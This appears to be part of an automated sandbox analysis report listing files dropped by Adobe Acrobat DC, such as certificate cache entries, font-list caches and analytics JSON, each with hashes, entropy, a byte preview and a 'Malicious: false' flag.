Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklVUi/tfllXlE/HT8k/l7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKDi/eT82l7VNMa8RdWBwRd
MD5:	BA3B5B32B3A247260390B6472B9AC583
SHA1:	83CFF2B1B98F622F45F260E1BF29830319FDD35B
SHA-256:	BEA504E8B064D8AF00D6AE8801977C4C6F4F83AE86281F35D9CD5B8217D45102
SHA-512:	1247823E048C4E7D52BDE4CC8DCC5B233D59E25B07F4EEA35342816AA15A87C92DC2D023B7F4F84B6B49B6F6BBA246BBB1AF9DE2E852446379729943D27C7544
Malicious:	false
Preview:	p...... ........f`...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKzpM/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:+iDImsLNkPlE99SNxAhUe/3
MD5:	90121DF0AB8B9F9FE27A23DEFD834C74
SHA1:	6E3A8541AE2EB6C127E78DC8B9D99B8338208F57
SHA-256:	811F6F8B1E73B01F4B276ECB6A647AEFDD25C1C89F9BD24675D876C5C895E947
SHA-512:	0928263D1D6468B04A1416F6943B16BA26443FA42F03FA77CFD26B5620C69EC6D7305751205A3C9091997F1125DE40B072DE5E5B4463B7CF9175BCC86446CDFE
Malicious:	false
Preview:	p...... ...........3.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.320

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.320

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328334855563907
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJM3g98kUwPeUkwRe9:YvXKXwFI9B5YpW7HGMbLUkee9
MD5:	A7DEB63CF16C93E1D940D8F0EB3212F6
SHA1:	17432B9FE2F2D35C8C359B77FE78F53B40CC5DE0
SHA-256:	C5ADD7F6927B2FC87AEEB63FB81467718822EB0E08A538DEB702537FEB4A1811
SHA-512:	8C4BDD2740CF0B92394F349E250835D0C6ABCC7FDAAD0F70C512944497BE23D6A845266BF90336C5D0DE443B38095E3589C2A8A4988A9654244B95B88F135078
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.268871473395277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJfBoTfXpnrPeUkwRe9:YvXKXwFI9B5YpW7HGWTfXcUkee9
MD5:	FD40256049A97C431DFB4838E8E15866
SHA1:	7A5DCD1BD0074737B7DD953D4BBC3E4FFF70B8B0
SHA-256:	2AEE99694B0C629F16F1CDB6A406A2C43562CB48F6D9CC4C0777715D2A54CA34
SHA-512:	BBBAC22E6080AAC91D3D89836349209A71FCFD5EFCE1A5C2656EA35DCD9D766BDAD392E2885D3CBF2C5466085AAA92848A3EAE4022698DDC7C0440337C5288E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.247130968753083
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJfBD2G6UpnrPeUkwRe9:YvXKXwFI9B5YpW7HGR22cUkee9
MD5:	69DB8C19D016B3C6E0D74C7720A6191F
SHA1:	C01A9904A8FDFD040B0D147721D77618A904CEE2
SHA-256:	A9828465BEBED8D5463BAB266DED04CCD73DC2D834C099C0B72152F617A356BC
SHA-512:	3BEB3ECA41A00F65910990959BE380B0DBA828E62E57DC6D123B5ACDD89A1CAD7CA9E8CDEAB8DD0F93F9C5B919F2CDD76136D0CEC694D2F2B0124A6A72DA9729
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.305998661963341
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJfPmwrPeUkwRe9:YvXKXwFI9B5YpW7HGH56Ukee9
MD5:	71C4243BDD9947FC13F2F913665CAD35
SHA1:	3350A36A19F93F28BB9504BCF1D80AF7EE7144A8
SHA-256:	1993DEBEE0B9C315B07C3ABAE856C8E727BCCA5548FC40DADDA542347091225C
SHA-512:	C943BADD65412F76A30B20AA3C0E70E91FCF8BEE7107974FCFBFA14E09D88D8ED2F45354839DC639AF6E051864D50763DBECE46ADCB135891F1A734F5B38ABB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6871336236289
Encrypted:	false
SSDEEP:	24:Yv6Xf6iMpLgE9cQx8LennAvzBvkn0RCmK8czOCCSW:YvEVMhgy6SAFv5Ah8cv/W
MD5:	EF2A0B7375D410FB1E007C8619BDFF99
SHA1:	141A803E5037CB504983BFE00656B8DB327D0480
SHA-256:	E1AB0EE2BA3E12F77C08ECF3662150B5C704E986BF948AF356FF6CAC5BF88183
SHA-512:	76292951CE4D2A9C4155ECEA11875BEB16F23B1C18A25F5E04D52F0396F728D4BCEA9E8A22131C2CEB8C3EB315C1A03035A61C49DEB78AEB4C9F333017AEB617
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2518196017098395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJf8dPeUkwRe9:YvXKXwFI9B5YpW7HGU8Ukee9
MD5:	04C94D7FA78F8594D96798E827155583
SHA1:	0576AFF8D8FF3422822B5166F9F069A357BACDB1
SHA-256:	434B7632B2CB9F1D49272214F6F004D06F2EDFDDB2E5AA9F464B16A28908B295
SHA-512:	7AAAA82F08F1A702AA8E3F5929E988946C0F3F61190D54EBBDD045640A8878D6AC16CDB70DD912AD52C6D85573D1EA605BE9984261DECBABC232EA0A816DEF97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.252940180382506
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJfQ1rPeUkwRe9:YvXKXwFI9B5YpW7HGY16Ukee9
MD5:	88D991F3077A157D2A2522F2EE295E55
SHA1:	7ABD9537509F1301D4261DC24091575BFDBCECC6
SHA-256:	49223C3EFB5A6D5831CB980DA234F50ECA984CDE8808A08BC2C29A0379992D58
SHA-512:	8C7B149C50E4B85CDAA2F22E6C9E8D032AB250942B318DA70D4FBCEEA61B8631BDDB839BB2F68A3FCF73C8BF2A2B6B7841873839E9BB676890036D34E1E8A440
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2715007615199045
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJfFldPeUkwRe9:YvXKXwFI9B5YpW7HGz8Ukee9
MD5:	92BA9731F6E9C449D43D6E2E104D7B2E
SHA1:	C3EDDB5FCB103BD5C0A0E4F3EB83F54003CAD13A
SHA-256:	FE9A2DB28D7C69CB9C8A2148E0F7BADA57546420947B4B83D19C3B316509FFB4
SHA-512:	3ADFA8A28D651EE4D9AB499C9A77B682C72ADEA17EF424B9319ECF6E081D2DAAC52C0792F9BE7EAD7D52C934F1A85144A5A55A6C1724FB4A67EA3AFB4D38FFBB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.280847515672649
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJfzdPeUkwRe9:YvXKXwFI9B5YpW7HGb8Ukee9
MD5:	21D26711B01FE95CD007AE8600AED30D
SHA1:	9C4F94422A72F55A43874AA48A0A010ECBAB7324
SHA-256:	CB6E994E96FAA2C71C50C098B13C27512DCC943CBEE14EB12CBD378FDF41ABFA
SHA-512:	FBC4829B9A436058008D74F51C95DC275DC238A4D50560384D3F89ED05C95484F07114091C9E906EE28351B377ABE3CCD0DBE9A16C53FF75BA280B08ED9604D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8901d11c-06e2-4fdc-9046-646775d34245","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736711530600,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260085593081945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPc+iFI9BY+FIbRI6XVW7+0YYVrJqoAvJfYdPeUkwRe9:YvXKXwFI9B5YpW7HGg8Ukee9
MD5:	09379D5E8EF970B3129C9823D5D666DE
SHA1:	1F302B50E7D81D22F44808B2D168C5972B2973B0
SHA-256:	6D68E202D7E95BC8720AF3D2885C28512B112BC4E5473CAD2612A44752DF382B
